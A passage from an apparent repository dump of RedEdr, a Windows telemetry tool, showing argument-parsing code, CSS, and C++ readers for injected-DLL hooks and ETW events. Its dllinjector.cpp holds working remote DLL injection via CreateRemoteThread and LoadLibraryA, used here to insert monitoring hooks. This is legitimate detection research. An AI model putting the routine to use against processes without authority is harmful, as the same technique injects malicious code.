//not a flag\n\n                // but if it starts with a `-`, then it's an error\n                if (argv[current][0] == '-' && argv[current][1] != '\\0') {\n                    if (!m_allow_unrecognised) {\n                        throw_or_mimic<exceptions::invalid_option_syntax>(argv[current]);\n                    }\n                }\n\n                //if true is returned here then it was consumed, otherwise it is\n                //ignored\n                if (consume_positional(argv[current], next_positional))\n                {\n                }\n                else\n                {\n                    unmatched.emplace_back(argv[current]);\n                }\n                //if we return from here then it was parsed successfully, so continue\n            }\n            else\n            {\n                //short or long option?\n                if (argu_desc.grouping)\n                {\n                    const std::string& s = argu_desc.arg_name;\n\n                    for (std::size_t i = 0; i != s.size(); ++i)\n                    {\n                        std::string name(1, s[i]);\n                        auto iter = m_options.find(name);\n\n                        if (iter == m_options.end())\n                        {\n                            if (m_allow_unrecognised)\n                            {\n                                unmatched.push_back(std::string(\"-\") + s[i]);\n                                continue;\n                            }\n                            //error\n                            throw_or_mimic<exceptions::no_such_option>(name);\n                        }\n\n                        auto value = iter->second;\n\n                        if (i + 1 == s.size())\n                        {\n                            //it must be the last argument\n                            checked_parse_arg(argc, argv, current, value, name);\n                        }\n                        else if (value->value().has_implicit())\n                        {\n                            parse_option(value, name, value->value().get_implicit_value());\n                        }\n                        else if (i + 1 < s.size())\n                        {\n                            std::string arg_value = s.substr(i + 1);\n                            parse_option(value, name, arg_value);\n                            break;\n                        }\n                        else\n                        {\n                            //error\n                            throw_or_mimic<exceptions::option_requires_argument>(name);\n                        }\n                    }\n                }\n                else if (argu_desc.arg_name.length() != 0)\n                {\n                    const std::string& name = argu_desc.arg_name;\n\n                    auto iter = m_options.find(name);\n\n                    if (iter == m_options.end())\n                    {\n                        if (m_allow_unrecognised)\n                        {\n                            // keep unrecognised options in argument list, skip to next argument\n                            unmatched.emplace_back(argv[current]);\n                            ++current;\n                            continue;\n                        }\n                        //error\n                        throw_or_mimic<exceptions::no_such_option>(name);\n                    }\n\n                    auto opt = iter->second;\n\n                    //equals provided for long option?\n                    if (argu_desc.set_value)\n                    {\n                        //parse the option given\n\n                        parse_option(opt, name, argu_desc.value);\n                    }\n                    else\n                    {\n                        //parse the next argument\n                        checked_parse_arg(argc, argv, current, opt, name);\n                    }\n                }\n\n            }\n\n            ++current;\n        }\n\n        for (auto& opt : m_options)\n        {\n            auto& detail = opt.second;\n            const auto& value = detail->value();\n\n            auto& store = m_parsed[detail->hash()];\n\n            if (value.has_default()) {\n                if (!store.count() && !store.has_default()) {\n                    parse_default(detail);\n                }\n            }\n            else {\n                parse_no_value(detail);\n            }\n        }\n\n        if (consume_remaining)\n        {\n            while (current < argc)\n            {\n                if (!consume_positional(argv[current], next_positional)) {\n                    break;\n                }\n                ++current;\n            }\n\n            //adjust argv for any that couldn't be swallowed\n            while (current != argc) {\n                unmatched.emplace_back(argv[current]);\n                ++current;\n            }\n        }\n\n        finalise_aliases();\n\n        ParseResult parsed(std::move(m_keys), std::move(m_parsed), std::move(m_sequential), std::move(m_defaults), std::move(unmatched));\n        return parsed;\n    }\n\n    inline\n        void\n        OptionParser::finalise_aliases()\n    {\n        for (auto& option : m_options)\n        {\n            auto& detail = *option.second;\n            auto hash = detail.hash();\n            m_keys[detail.short_name()] = hash;\n            for (const auto& long_name : detail.long_names()) {\n                m_keys[long_name] = hash;\n            }\n\n            m_parsed.emplace(hash, OptionValue());\n        }\n    }\n\n    inline\n        void\n        Options::add_option\n        (\n            const std::string& group,\n            const Option& option\n        )\n    {\n        add_options(group, { option });\n    }\n\n    inline\n        void\n        Options::add_option\n        (\n            const std::string& group,\n            const std::string& s,\n            const OptionNames& l,\n            std::string desc,\n            const std::shared_ptr<const Value>& value,\n            std::string arg_help\n        )\n    {\n        auto stringDesc = toLocalString(std::move(desc));\n        auto option = std::make_shared<OptionDetails>(s, l, stringDesc, value);\n\n        if (!s.empty())\n        {\n            add_one_option(s, option);\n        }\n\n        for (const auto& long_name : l) {\n            add_one_option(long_name, option);\n        }\n\n        //add the help details\n\n        if (m_help.find(group) == m_help.end())\n        {\n            m_group.push_back(group);\n        }\n\n        auto& options = m_help[group];\n\n        options.options.emplace_back(HelpOptionDetails{ s, l, stringDesc,\n            value->has_default(), value->get_default_value(),\n            value->has_implicit(), value->get_implicit_value(),\n            std::move(arg_help),\n            value->is_container(),\n            value->is_boolean() });\n    }\n\n    inline\n        void\n        Options::add_one_option\n        (\n            const std::string& option,\n            const std::shared_ptr<OptionDetails>& details\n        )\n    {\n        auto in = m_options->emplace(option, details);\n\n        if (!in.second)\n        {\n            throw_or_mimic<exceptions::option_already_exists>(option);\n        }\n    }\n\n    inline\n        String\n        Options::help_one_group(const std::string& g) const\n    {\n        using OptionHelp = std::vector<std::pair<String, String>>;\n\n        auto group = m_help.find(g);\n        if (group == m_help.end())\n        {\n            return \"\";\n        }\n\n        OptionHelp format;\n\n        std::size_t longest = 0;\n\n        String result;\n\n        if (!g.empty())\n        {\n            result += toLocalString(\" \" + g + \" options:\\n\");\n        }\n\n        for (const auto& o : group->second.options)\n        {\n            if (o.l.size() &&\n                m_positional_set.find(o.l.front()) != m_positional_set.end() &&\n                !m_show_positional)\n            {\n                continue;\n            }\n\n            auto s = format_option(o);\n            longest = (std::max)(longest, stringLength(s));\n            format.push_back(std::make_pair(s, String()));\n        }\n        longest = (std::min)(longest, OPTION_LONGEST);\n\n        //widest allowed description -- min 10 chars for helptext/line\n        std::size_t allowed = 10;\n        if (m_width > allowed + longest + OPTION_DESC_GAP)\n        {\n            allowed = m_width - longest - OPTION_DESC_GAP;\n        }\n\n        auto fiter = format.begin();\n        for (const auto& o : group->second.options)\n        {\n            if (o.l.size() &&\n                m_positional_set.find(o.l.front()) != m_positional_set.end() &&\n                !m_show_positional)\n            {\n                continue;\n            }\n\n            auto d = format_description(o, longest + OPTION_DESC_GAP, allowed, m_tab_expansion);\n\n            result += fiter->first;\n            if (stringLength(fiter->first) > longest)\n            {\n                result += '\\n';\n                result += toLocalString(std::string(longest + OPTION_DESC_GAP, ' '));\n            }\n            else\n            {\n                result += toLocalString(std::string(longest + OPTION_DESC_GAP -\n                    stringLength(fiter->first),\n                    ' '));\n            }\n            result += d;\n            result += '\\n';\n\n            ++fiter;\n        }\n\n        return result;\n    }\n\n    inline\n        void\n        Options::generate_group_help\n        (\n            String& result,\n            const std::vector<std::string>& print_groups\n        ) const\n    {\n        for (std::size_t i = 0; i != print_groups.size(); ++i)\n        {\n            const String& group_help_text = help_one_group(print_groups[i]);\n            if (empty(group_help_text))\n            {\n                continue;\n            }\n            result += group_help_text;\n            if (i < print_groups.size() - 1)\n            {\n                result += '\\n';\n            }\n        }\n    }\n\n    inline\n        void\n        Options::generate_all_groups_help(String& result) const\n    {\n        generate_group_help(result, m_group);\n    }\n\n    inline\n        std::string\n        Options::help(const std::vector<std::string>& help_groups, bool print_usage) const\n    {\n        String result = m_help_string;\n        if (print_usage)\n        {\n            result += \"\\nUsage:\\n  \" + toLocalString(m_program);\n        }\n\n        if (!m_custom_help.empty())\n        {\n            result += \" \" + toLocalString(m_custom_help);\n        }\n\n        if (!m_positional.empty() && !m_positional_help.empty()) {\n            result += \" \" + toLocalString(m_positional_help);\n        }\n\n        result += \"\\n\\n\";\n\n        if (help_groups.empty())\n        {\n            generate_all_groups_help(result);\n        }\n        else\n        {\n            generate_group_help(result, help_groups);\n        }\n\n        return toUTF8String(result);\n    }\n\n    inline\n        std::vector<std::string>\n        Options::groups() const\n    {\n        return m_group;\n    }\n\n    inline\n        const HelpGroupDetails&\n        Options::group_help(const std::string& group) const\n    {\n        return m_help.at(group);\n    }\n\n} // namespace cxxopts\n\n#endif //CXXOPTS_HPP_INCLUDED"
  },
  {
    "path": "RedEdr/design.css",
    "content": "\nbody {\n    font-family: \"Courier New\", Courier, monospace;\n    margin: 0;\n    padding: 0;\n}\nheader {\n    background-color: #4CAF50;\n    color: white;\n    padding: 10px 20px;\n    text-align: center;\n}\n.stats {\n    display: flex;\n    justify-content: space-around;\n}\n.tabs {\n    display: flex;\n    border-bottom: 1px solid #ccc;\n}\n.tab {\n    padding: 10px 20px;\n    cursor: pointer;\n    border: 1px solid #ccc;\n    border-bottom: none;\n    background-color: #f1f1f1;\n}\n.tab.active {\n    background-color: #fff;\n    font-weight: bold;\n    border-bottom: 1px solid transparent;\n}\n.content {\n    padding: 0px;\n    border: 1px solid #ccc;\n}\n\n.container {\n    display: flex; /* Makes elements inside the container align horizontally */\n    gap: 10px; /* Adds space between the elements */\n}\n.item {\n    padding: 0px;\n    background-color: rgb(27, 77, 24);\n    border: 1px solid #ccc;\n    padding: 0.5em;\n}\n\n.event {\n    padding: 0.3em;\n    border-bottom: 1px solid #ccc;\n    line-height: 1.35em;\n}\n\n.highlight_a {\n    color: black;\n    background-color: #cfcfcf;;\n}\n.highlight_b {\n    color: rgb(0, 0, 0);\n    background-color: rgb(187, 201, 224); /* Color for func */\n}\n.highlight_c {\n    color: black;\n}\n.highlight_d {\n    color: darkgrey;\n}\n.highlight_e {\n    color: darkred;\n}"
  },
  {
    "path": "RedEdr/dllinjector.cpp",
    "content": "#include <windows.h>\n\n#include \"dllinjector.h\"\n#include \"logging.h\"\n#include \"config.h\"\n\n\n// File mostly from MyDumbEdr\n\n\nBOOL remote_inject(DWORD target_pid) {\n    char dll_full_path[MAX_PATH];\n    \n    // Check if the DLL path fits in the buffer\n    if (strlen(g_Config.inject_dll_path) >= MAX_PATH) {\n        LOG_A(LOG_ERROR, \"DLL path too long: %s\", g_Config.inject_dll_path);\n        return FALSE;\n    }\n    \n    strcpy_s(dll_full_path, sizeof(dll_full_path), g_Config.inject_dll_path);\n\n    LOG_A(LOG_INFO, \"DLL Inject into process %d (%s)\", target_pid, dll_full_path);\n\n    // Opening the process with necessary privileges \n    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, target_pid);\n    if (hProcess == NULL) {\n        LOG_A(LOG_ERROR, \"Can't open handle, error: %lu\", GetLastError());\n        return FALSE;\n    }\n    //printf(\"\\tOpen handle on PID: %d\\n\", target_pid);\n\n    // Looking for the LoadLibraryA function in the kernel32.dll\n    FARPROC loadLibAddress = GetProcAddress(GetModuleHandle(L\"kernel32.dll\"), \"LoadLibraryA\");\n    if (loadLibAddress == NULL) {\n        LOG_A(LOG_ERROR, \"Could not find LoadLibraryA, error: %lu\", GetLastError());\n        return FALSE;\n    }\n    //printf(\"\\tFound LoadLibraryA function\\n\");\n\n    // Allocating some RWX memory\n    LPVOID vae_buffer;\n    vae_buffer = VirtualAllocEx(hProcess, NULL, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n    if (vae_buffer == NULL) {\n        LOG_A(LOG_ERROR, \"Can't allocate memory, error: %lu\", GetLastError());\n        CloseHandle(hProcess);\n        return FALSE;\n    }\n    //printf(\"\\tAllocated: %d bytes\\n\", MAX_PATH);\n\n    // Writing the path of the DLL to inject\n    SIZE_T bytesWritten;\n    SIZE_T dllPathLength = strlen(dll_full_path) + 1; // Include null terminator\n    if (!WriteProcessMemory(hProcess, vae_buffer, dll_full_path, dllPathLength, &bytesWritten)) {\n        LOG_A(LOG_ERROR, \"Can't write into memory, error: %lu\", GetLastError());\n        VirtualFreeEx(hProcess, vae_buffer, 0, MEM_RELEASE);\n        CloseHandle(hProcess);\n        return FALSE;\n    }\n    if (bytesWritten != dllPathLength) {\n        LOG_A(LOG_ERROR, \"Incomplete write: expected %zu, wrote %zu\", dllPathLength, bytesWritten);\n        VirtualFreeEx(hProcess, vae_buffer, 0, MEM_RELEASE);\n        CloseHandle(hProcess);\n        return FALSE;\n    }\n    //printf(\"\\tWrote %zu in %d process memory\\n\", bytesWritten, target_pid);\n\n    // Creating a thread that will call LoadLibraryA and the path of the MyDUMBEDRDLL to load as argument\n    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddress, vae_buffer, 0, NULL);\n    if (hThread == NULL) {\n        LOG_A(LOG_ERROR, \"Can't launch remote thread, error: %lu\", GetLastError());\n        VirtualFreeEx(hProcess, vae_buffer, 0, MEM_RELEASE);\n        CloseHandle(hProcess);\n        return FALSE;\n    }\n    \n    // Wait for the thread to complete with timeout\n    DWORD waitResult = WaitForSingleObject(hThread, 5000); // 5 second timeout\n    if (waitResult == WAIT_TIMEOUT) {\n        LOG_A(LOG_WARNING, \"DLL injection: LoadLibraryA remote thread in target PID %lu timed out; force-terminating remote thread (not a RedEdr-internal thread)\", target_pid);\n        TerminateThread(hThread, 1);\n    } else if (waitResult != WAIT_OBJECT_0) {\n        LOG_A(LOG_WARNING, \"Wait for injection thread failed: %lu\", GetLastError());\n    }\n    \n    LOG_A(LOG_INFO, \"    Looks like success\");\n\n    VirtualFreeEx(hProcess, vae_buffer, 0, MEM_RELEASE);\n    CloseHandle(hThread);\n    CloseHandle(hProcess);\n\n    return TRUE;\n}\n"
  },
  {
    "path": "RedEdr/dllinjector.h",
    "content": "#pragma once\n\n#include <windows.h>\n\n#define MESSAGE_SIZE 1024\n#define MAX_PATH 260\n\nBOOL remote_inject(DWORD target_pid);"
  },
  {
    "path": "RedEdr/dllreader.cpp",
    "content": "#include <windows.h>\n#include <iostream>\n#include <vector>\n#include <string>\n#include <cstdio>\n#include <thread>\n#include <memory>\n\n#include \"../Shared/common.h\"\n#include \"logging.h\"\n#include \"dllreader.h\"\n#include \"config.h\"\n#include \"piping.h\"\n#include \"event_aggregator.h\"\n\n\n// DllReader: Consumes events from injected DLL hooks\n\n\n// Private Variables\nstd::vector<std::thread> ConnectedDllReaderThreads; // for each connected dll\nHANDLE hStopEventDll = NULL;     // signaled to request thread stop\nHANDLE hDllServerThreadHandle = NULL; // stored thread handle for join/terminate\nHANDLE threadReadynessDll;       // ready to accept clients\n\n\n// Private Function Definitions\nvoid DllReaderClientThread(PipeServer* pipeServer);\nDWORD WINAPI DllReaderThread(LPVOID param);\nvoid DllReaderShutdown();\n\n\n// Init\nbool DllReaderInit(std::vector<HANDLE>& threads) {\n    hStopEventDll = CreateEvent(NULL, TRUE, FALSE, NULL);\n    if (hStopEventDll == NULL) {\n        LOG_A(LOG_ERROR, \"DllReader: Failed to create stop event\");\n        return false;\n    }\n    threadReadynessDll = CreateEvent(NULL, TRUE, FALSE, NULL);\n    if (threadReadynessDll == NULL) {\n        LOG_A(LOG_ERROR, \"DllReader: Failed to create event for thread readyness\");\n        CloseHandle(hStopEventDll);\n        hStopEventDll = NULL;\n        return false;\n    }\n\n    HANDLE thread = CreateThread(NULL, 0, DllReaderThread, NULL, 0, NULL);\n    if (thread == NULL) {\n        LOG_A(LOG_ERROR, \"DllReader: Failed to create thread\");\n        return false;\n    }\n    hDllServerThreadHandle = thread;\n\n    WaitForSingleObject(threadReadynessDll, INFINITE);\n    threads.push_back(thread);\n\n    return true;\n}\n\n\n// Pipe Reader Thread: Server\nDWORD WINAPI DllReaderThread(LPVOID param) {\n    LOG_A(LOG_DEBUG, \"!DllReader Thread: begin\");\n\n    // Loop which accepts new clients\n    while (WaitForSingleObject(hStopEventDll, 0) != WAIT_OBJECT_0) {\n        std::unique_ptr<PipeServer> pipeServer = std::make_unique<PipeServer>(\"DllReader\", (wchar_t*) DLL_PIPE_NAME);\n        if (!pipeServer) {\n            LOG_A(LOG_ERROR, \"DllReader: Failed to create PipeServer\");\n            Sleep(1000); // Brief delay before retry\n            continue;\n        }\n        \n        SetEvent(threadReadynessDll);\n        \n        if (!pipeServer->StartAndWaitForClient(TRUE)) {\n            LOG_A(LOG_ERROR, \"DllReader: Failed to start pipe server or wait for client\");\n            pipeServer->Shutdown();\n            Sleep(1000); // Brief delay before retry\n            continue;\n        }\n\n        LOG_A(LOG_INFO, \"DllReader: Client connected (handle in new thread)\");\n        try {\n            // Transfer ownership to the thread\n            PipeServer* rawPtr = pipeServer.release();\n            ConnectedDllReaderThreads.push_back(std::thread(DllReaderClientThread, rawPtr));\n        }\n        catch (const std::exception& e) {\n            LOG_A(LOG_ERROR, \"DllReader: Failed to create client thread: %s\", e.what());\n            pipeServer->Shutdown();\n        }\n    }\n    \n    // Wait for all client threads to exit\n    for (auto& t : ConnectedDllReaderThreads) {\n        if (t.joinable()) {\n            t.join();\n        }\n    }\n\n    LOG_A(LOG_DEBUG, \"!DllReader Thread: end\");\n    return 0;\n}\n\n\n// Pipe Reader Thread: Process Client\nvoid DllReaderClientThread(PipeServer* pipeServer) {\n    // Use RAII to ensure cleanup\n    std::unique_ptr<PipeServer> server(pipeServer);\n    \n    if (!server) {\n        LOG_A(LOG_ERROR, \"DllReaderClientThread: pipeServer is null\");\n        return;\n    }\n    \n    try {\n        // send config as first packet\n        //   this is the only write for this pipe\n        char config[DLL_CONFIG_LEN];\n        int result = sprintf_s(config, DLL_CONFIG_LEN, \"callstack: %d; \", g_Config.do_dllinjection_ucallstack ? 1 : 0);\n        if (result < 0) {\n            LOG_A(LOG_ERROR, \"DllReaderClientThread: Failed to format config string\");\n            return;\n        }\n        \n        if (!server->Send(config)) {\n            LOG_A(LOG_ERROR, \"DllReaderClientThread: Failed to send config\");\n            return;\n        }\n\n        // Now receive only\n        while (WaitForSingleObject(hStopEventDll, 0) != WAIT_OBJECT_0) {\n            std::vector<std::string> results = server->ReceiveBatch();\n            if (results.empty()) {\n                break; // Client disconnected or error\n            }\n            for (const auto& result : results) {\n                if (!result.empty()) {\n                    g_EventAggregator.NewEvent(result);\n                }\n            }\n        }\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"DllReaderClientThread: Exception in client processing: %s\", e.what());\n    }\n    catch (...) {\n        LOG_A(LOG_ERROR, \"DllReaderClientThread: Unknown exception in client processing\");\n    }\n\n    server->Shutdown();\n    // server automatically deleted when unique_ptr goes out of scope\n}\n\n\n// Shutdown\nvoid DllReaderShutdown() {\n    // Signal stop\n    if (hStopEventDll != NULL) {\n        SetEvent(hStopEventDll);\n    }\n\n    // Unblock StartAndWaitForClient with a fake connect\n    try {\n        PipeClient pipeClient(\"RedEdr DllReaderShutdown\");\n        char buf[DLL_CONFIG_LEN] = { 0 };\n        const char* s = \"\";\n        \n        if (pipeClient.Connect(DLL_PIPE_NAME)) {\n            pipeClient.Receive(buf, DLL_CONFIG_LEN);\n            pipeClient.Send((char*)s);\n            pipeClient.Disconnect();\n        }\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_WARNING, \"DllReaderShutdown: Exception during pipe cleanup: %s\", e.what());\n    }\n    catch (...) {\n        LOG_A(LOG_WARNING, \"DllReaderShutdown: Unknown exception during pipe cleanup\");\n    }\n\n    // Wait for server thread to exit (it joins client threads internally)\n    if (hDllServerThreadHandle != NULL) {\n        if (WaitForSingleObject(hDllServerThreadHandle, 5000) == WAIT_TIMEOUT) {\n            LOG_A(LOG_WARNING, \"DllReader: Server thread did not exit in time, force-terminating\");\n            TerminateThread(hDllServerThreadHandle, 1);\n        }\n        CloseHandle(hDllServerThreadHandle);\n        hDllServerThreadHandle = NULL;\n    }\n\n    if (hStopEventDll != NULL) {\n        CloseHandle(hStopEventDll);\n        hStopEventDll = NULL;\n    }\n    if (threadReadynessDll != NULL) {\n        CloseHandle(threadReadynessDll);\n        threadReadynessDll = NULL;\n    }\n}\n\n"
  },
  {
    "path": "RedEdr/dllreader.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <vector>\n\n\nbool DllReaderInit(std::vector<HANDLE>& threads);\nvoid DllReaderShutdown();\n"
  },
  {
    "path": "RedEdr/etwreader.cpp",
    "content": "#include <Windows.h>\n#include <iostream>\n#include <vector>\n#include <atomic>\n#include <krabs.hpp>\n#include \"json.hpp\"\n\n#include \"etw_krabs.h\"\n#include \"logging.h\"\n#include \"event_aggregator.h\"\n#include \"etwreader.h\"\n#include \"process_resolver.h\"\n#include \"config.h\"\n#include \"utils.h\"\n\n\nkrabs::user_trace trace_user(L\"RedEdrUser\");\n\nstd::atomic<BOOL> is_trace_in_progress{FALSE}; // currently unused\nHANDLE threadReadynessEtw = NULL; // ready to start tracing\nHANDLE hStopEventEtw = NULL;      // signaled to request thread stop\nHANDLE hEtwThreadHandle = NULL;   // stored thread handle for join/terminate\n\n\nvoid trace_in_progress(BOOL use) {\n    is_trace_in_progress = use;\n}\n\n\n// Handle ETW events for process monitoring\n// - Where ProcessId of EventHeader is our target process\nvoid event_callback_process(const EVENT_RECORD& record, const krabs::trace_context& trace_context) {\n    try {\n        krabs::schema schema(record, trace_context.schema_locator);\n        \n\t\t// Check if we observe the process which emitted this event\n        DWORD processId = record.EventHeader.ProcessId;\n        Process* process = g_ProcessResolver.getObject(processId);\n        if (process == NULL) {\n            LOG_A(LOG_WARNING, \"ETW: No process object for pid %lu\", processId);\n            return;\n        }\n        if (!process->observe) {\n            return;\n        }\n\n        // Convert ETW to JSON\n        nlohmann::json j = KrabsEtwEventToJsonStr(record, schema);\n        j[\"etw_process\"] = process->name;\n\n        // Emit event\n        g_EventAggregator.NewEvent(j.dump());\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"ETW event_callback exception: %s\", e.what());\n    }\n    catch (...) {\n        LOG_A(LOG_ERROR, \"ETW event_callback unknown exception\");\n    }\n}\n\n\n// Handle ETW events for antimalware monitoring\n// - Where \"pid\" or \"filename\" or \"name\" matches our target processes\nvoid event_callback_antimalware(const EVENT_RECORD& record, const krabs::trace_context& trace_context) {\n    //if (!is_trace_in_progress) {\n\t//\treturn;\n\t//}\n\n    try {\n        krabs::schema schema(record, trace_context.schema_locator);\n        // Convert ETW to JSON\n        nlohmann::json j = KrabsEtwEventToJsonStr(record, schema);\n\n        // Resolve (source) process name\n        DWORD processId = record.EventHeader.ProcessId;\n        Process* process = g_ProcessResolver.getObject(processId);\n        if (process == NULL) {\n            LOG_A(LOG_WARNING, \"ETW: No process object for pid %lu\", processId);\n            return;\n        }\n        j[\"etw_process\"] = process->name;\n\n        // Check if destination is one of our target processes\n        if (j.contains(\"pid\") && !j[\"pid\"].is_null()) {\n            DWORD targetPid = j[\"pid\"].get<DWORD>();\n\n\t\t\t// check if we observe the target process\n            Process* targetProcess = g_ProcessResolver.getObject(targetPid);\n            if (targetProcess == NULL) {\n                LOG_A(LOG_WARNING, \"ETW: No target process object for pid %lu\", targetPid);\n                return;\n            }\n            if (targetProcess->observe) {\n                // Emit event\n                g_EventAggregator.NewEvent(j.dump());\n\t\t\t}\n        }\n\t\t// Check if filename matches any of our target processes\n        // Cache MOACLookup 36\n        else if (j.contains(\"filename\") && !j[\"filename\"].is_null()) {\n            std::string filename = j[\"filename\"].get<std::string>();\n            for (const auto& targetProcessName : g_Config.targetProcessNames) {\n                if (ends_with_case_insensitive(filename, targetProcessName)) {\n                    // Emit event\n                    g_EventAggregator.NewEvent(j.dump());\n                    break;\n                }\n            }\n        }\n\t\t// Check if name matches any of our target processes\n        // ExpensiveOperationTaskExpensiveOperationBegin 43\n        // ExpensiveOperationTaskExpensiveOperationEnd 67\n        else if (j.contains(\"name\") && !j[\"name\"].is_null()) {\n            std::string filename = j[\"name\"].get<std::string>();\n            for (const auto& targetProcessName : g_Config.targetProcessNames) {\n                if (ends_with_case_insensitive(filename, targetProcessName)) {\n                    // Emit event\n                    g_EventAggregator.NewEvent(j.dump());\n                    break;\n                }\n            }\n        }\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"ETW event_callback exception: %s\", e.what());\n    }\n    catch (...) {\n        LOG_A(LOG_ERROR, \"ETW event_callback unknown exception\");\n    }\n}\n\n\n// Handle ETW events from msmpeng.exe (Windows Defender) for defender trace\n// - Only emits events where \"pid\", \"filename\", or \"name\" references our target processes\nvoid event_callback_defendertrace(const EVENT_RECORD& record, const krabs::trace_context& trace_context) {\n    try {\n        krabs::schema schema(record, trace_context.schema_locator);\n\n        // Resolve source process — must be msmpeng.exe\n        DWORD processId = record.EventHeader.ProcessId;\n        Process* process = g_ProcessResolver.getObject(processId);\n        if (process == NULL) {\n            LOG_A(LOG_WARNING, \"ETW: No process object for pid %lu\", processId);\n            return;\n        }\n        if (!contains_case_insensitive(process->name, \"msmpeng\")) {\n            return;\n        }\n\n        // Convert ETW to JSON\n        nlohmann::json j = KrabsEtwEventToJsonStr(record, schema);\n        j[\"etw_process\"] = process->name;\n\n        g_EventAggregator.NewEvent(j.dump());\n        \n\n        // Check if destination is one of our target processes (pid)\n        // NOTE: Not used by defender?\n        if (j.contains(\"pid\") && !j[\"pid\"].is_null()) {\n            DWORD targetPid = j[\"pid\"].get<DWORD>();\n\n            // check if we observe the target process\n            Process* targetProcess = g_ProcessResolver.getObject(targetPid);\n            if (targetProcess == NULL) {\n                LOG_A(LOG_WARNING, \"ETW: No target process object for pid %lu\", targetPid);\n                return;\n            }\n            if (targetProcess->observe) {\n                // Emit event\n                g_EventAggregator.NewEvent(j.dump());\n            }\n        }\n        // Check if destination is one of our target processes (targetprocessid)\n        else if (j.contains(\"targetprocessid\") && !j[\"targetprocessid\"].is_null()) {\n            DWORD targetPid = j[\"targetprocessid\"].get<DWORD>();\n\n            // check if we observe the target process\n            Process* targetProcess = g_ProcessResolver.getObject(targetPid);\n            if (targetProcess == NULL) {\n                LOG_A(LOG_WARNING, \"ETW: No target process object for pid %lu\", targetPid);\n                return;\n            }\n            if (targetProcess->observe) {\n                // Emit event\n                g_EventAggregator.NewEvent(j.dump());\n            }\n        }\n        // Check if destination is one of our target processes (processid)\n        else if (j.contains(\"processid\") && !j[\"processid\"].is_null()) {\n            DWORD targetPid = j[\"processid\"].get<DWORD>();\n\n            // check if we observe the target process\n            Process* targetProcess = g_ProcessResolver.getObject(targetPid);\n            if (targetProcess == NULL) {\n                LOG_A(LOG_WARNING, \"ETW: No target process object for pid %lu\", targetPid);\n                return;\n            }\n            if (targetProcess->observe) {\n                // Emit event\n                g_EventAggregator.NewEvent(j.dump());\n            }\n        }\n        // Check if filename matches any of our target processes\n        // NOTE: Not used by defender?\n        else if (j.contains(\"filename\") && !j[\"filename\"].is_null()) {\n            std::string filename = j[\"filename\"].get<std::string>();\n            for (const auto& targetProcessName : g_Config.targetProcessNames) {\n                if (ends_with_case_insensitive(filename, targetProcessName)) {\n                    // Emit event\n                    g_EventAggregator.NewEvent(j.dump());\n                    break;\n                }\n            }\n        }\n        // Check if name matches any of our target processes\n        // NOTE: Not used by defender?\n        else if (j.contains(\"name\") && !j[\"name\"].is_null()) {\n            std::string filename = j[\"name\"].get<std::string>();\n            for (const auto& targetProcessName : g_Config.targetProcessNames) {\n                if (ends_with_case_insensitive(filename, targetProcessName)) {\n                    // Emit event\n                    g_EventAggregator.NewEvent(j.dump());\n                    break;\n                }\n            }\n        }\n\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"ETW event_callback exception: %s\", e.what());\n    }\n    catch (...) {\n        LOG_A(LOG_ERROR, \"ETW event_callback unknown exception\");\n    }\n}\n\n\nBOOL InitializeEtwReader(std::vector<HANDLE>& threads) {\n    hStopEventEtw = CreateEvent(NULL, TRUE, FALSE, NULL);\n    if (hStopEventEtw == NULL) {\n        LOG_A(LOG_ERROR, \"ETW: Failed to create stop event\");\n        return FALSE;\n    }\n    threadReadynessEtw = CreateEvent(NULL, TRUE, FALSE, NULL);\n    if (threadReadynessEtw == NULL) {\n        LOG_A(LOG_ERROR, \"ETW: Failed to create event for thread readiness\");\n        CloseHandle(hStopEventEtw);\n        hStopEventEtw = NULL;\n        return FALSE;\n    }\n\n    HANDLE thread = CreateThread(NULL, 0, TraceProcessingThread, NULL, 0, NULL);\n    if (thread == NULL) {\n        LOG_A(LOG_ERROR, \"ETW: Could not start thread\");\n        CloseHandle(hStopEventEtw);\n        hStopEventEtw = NULL;\n        CloseHandle(threadReadynessEtw);\n        threadReadynessEtw = NULL;\n        return FALSE;\n    }\n    hEtwThreadHandle = thread;\n    \n    // Wait for the thread (ETW) to be fully initialized before returning\n    WaitForSingleObject(threadReadynessEtw, INFINITE);\n    \n    LOG_A(LOG_DEBUG, \"!ETW: Thread: begin\");\n    threads.push_back(thread);\n    return TRUE;\n}\n\n\nDWORD WINAPI TraceProcessingThread(LPVOID param) {\n    try {\n        // See https://github.com/jdu2600/Etw-SyscallMonitor/tree/main/src/ETW for nice events\n\n        /*\n            1 ProcessStart\n            2 ProcessStop\n            3 ThreadStart\n            4 ThreadStop\n            5 ImageLoad\n            6 ImageUnload\n            11 ProcessFreeze\n        */\n        krabs::provider<> process_provider(L\"Microsoft-Windows-Kernel-Process\");\n        std::vector<unsigned short> process_event_ids = { 1, 2, 3, 4, 5, 6, 11 };\n        krabs::event_filter process_filter(process_event_ids);\n        process_provider.trace_flags(process_provider.trace_flags() | EVENT_ENABLE_PROPERTY_STACK_TRACE);\n        process_filter.add_on_event_callback(event_callback_process);\n        if (g_Config.do_defendertrace) {\n            process_filter.add_on_event_callback(event_callback_defendertrace);\n        }\n        process_provider.add_filter(process_filter);\n        trace_user.enable(process_provider);\n        LOG_A(LOG_INFO, \"ETW: Microsoft-Windows-Kernel-Process (1, 2, 3, 4, 5, 6, 11)\");\n        \n        /*\n            Event ID 1: PspLogAuditSetLoadImageNotifyRoutineEvent(kernel)\n            Event ID 2: PspLogAuditTerminateRemoteProcessEvent\n\n            Event ID 3: NtCreateSymbolicLink\n            Event ID 4: PspSetContextThreadInternal\n            Event ID 5: PspLogAuditOpenProcessEvent\n            Event ID 6: PspLogAuditOpenThreadEvent\n\n            Event ID 7: IoRegisterLastChanceShutdownNotification(kernel)\n            Event ID 8: IoRegisterShutdownNotification(kernel)\n        */\n        krabs::provider<> auditapi_provider(L\"Microsoft-Windows-Kernel-Audit-API-Calls\");\n        std::vector<unsigned 